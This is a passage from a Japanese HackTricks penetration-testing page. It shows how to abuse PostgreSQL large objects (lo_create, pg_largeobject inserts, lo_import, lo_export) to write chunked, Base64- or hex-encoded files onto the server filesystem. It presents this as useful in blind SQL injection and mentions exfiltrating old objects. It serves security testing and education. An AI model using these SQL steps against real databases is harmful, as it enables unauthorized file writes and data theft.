5.4 KiB
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦でフォローする:@carlospolopm。
- ハッキングトリックを共有するには、PRを HackTricks および HackTricks Cloud githubリポジトリに提出してください。
PostgreSQL Large Objects
PostgreSQLは、画像やPDFドキュメントなどの大規模なデータ型を保存するために設計されたpg_largeobject
テーブルを介してアクセス可能な大規模オブジェクトとして知られる構造を提供しています。このアプローチは、COPY TO
関数よりも優れており、データをファイルシステムにエクスポートすることで、元のファイルの正確なレプリカが維持されます。
このテーブルに完全なファイルを保存するためには、pg_largeobject
テーブルにオブジェクト(LOIDで識別される)を作成し、このオブジェクトに2KBごとのデータチャンクを挿入する必要があります。これらのチャンクが正確に2KBのサイズであること(最後のチャンクを除く可能性がある)は、エクスポート機能が正しく機能するために重要です。
バイナリデータを2KBのチャンクに分割するために、次のコマンドを実行できます:
split -b 2048 your_file # Creates 2KB sized files
各ファイルをBase64またはHexにエンコードするために、以下のコマンドを使用できます:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
重要: このプロセスを自動化する際は、2KBのクリアテキストバイトのチャンクを送信することを確認してください。 ヘックスエンコードされたファイルはサイズが倍になるため、1チャンクあたり4KBのデータが必要です。一方、Base64エンコードされたファイルは、ceil(n / 3) * 4
の式に従います。
大きなオブジェクトの内容は、デバッグ目的で表示できます。
select loid, pageno, encode(data, 'escape') from pg_largeobject;
lo_creat
とBase64を使用する
バイナリデータを保存するために、まずLOIDが作成されます:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
状況に応じて正確な制御が必要な場合、Blind SQL Injectionを悪用する際には、固定のLOIDを指定するためにlo_create
が好まれます。
その後、データチャンクを以下のように挿入できます:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
大きなオブジェクトをエクスポートして、使用後に削除するには:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
lo_import
とHexの使用
lo_import
関数を使用して、大きなオブジェクトのためのLOIDを作成および指定することができます:
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
以下のオブジェクト作成後、各ページごとにデータが挿入され、各チャンクが2KBを超えないようにします。
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
プロセスを完了するために、データがエクスポートされ、大きなオブジェクトが削除されます:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
制限事項
大きなオブジェクトにはACL(アクセス制御リスト)がある可能性があり、それによりユーザーが作成したオブジェクトへのアクセスが制限されることがあります。ただし、許可の大きなACLを持つ古いオブジェクトは、コンテンツの外部流出に対してまだアクセス可能かもしれません。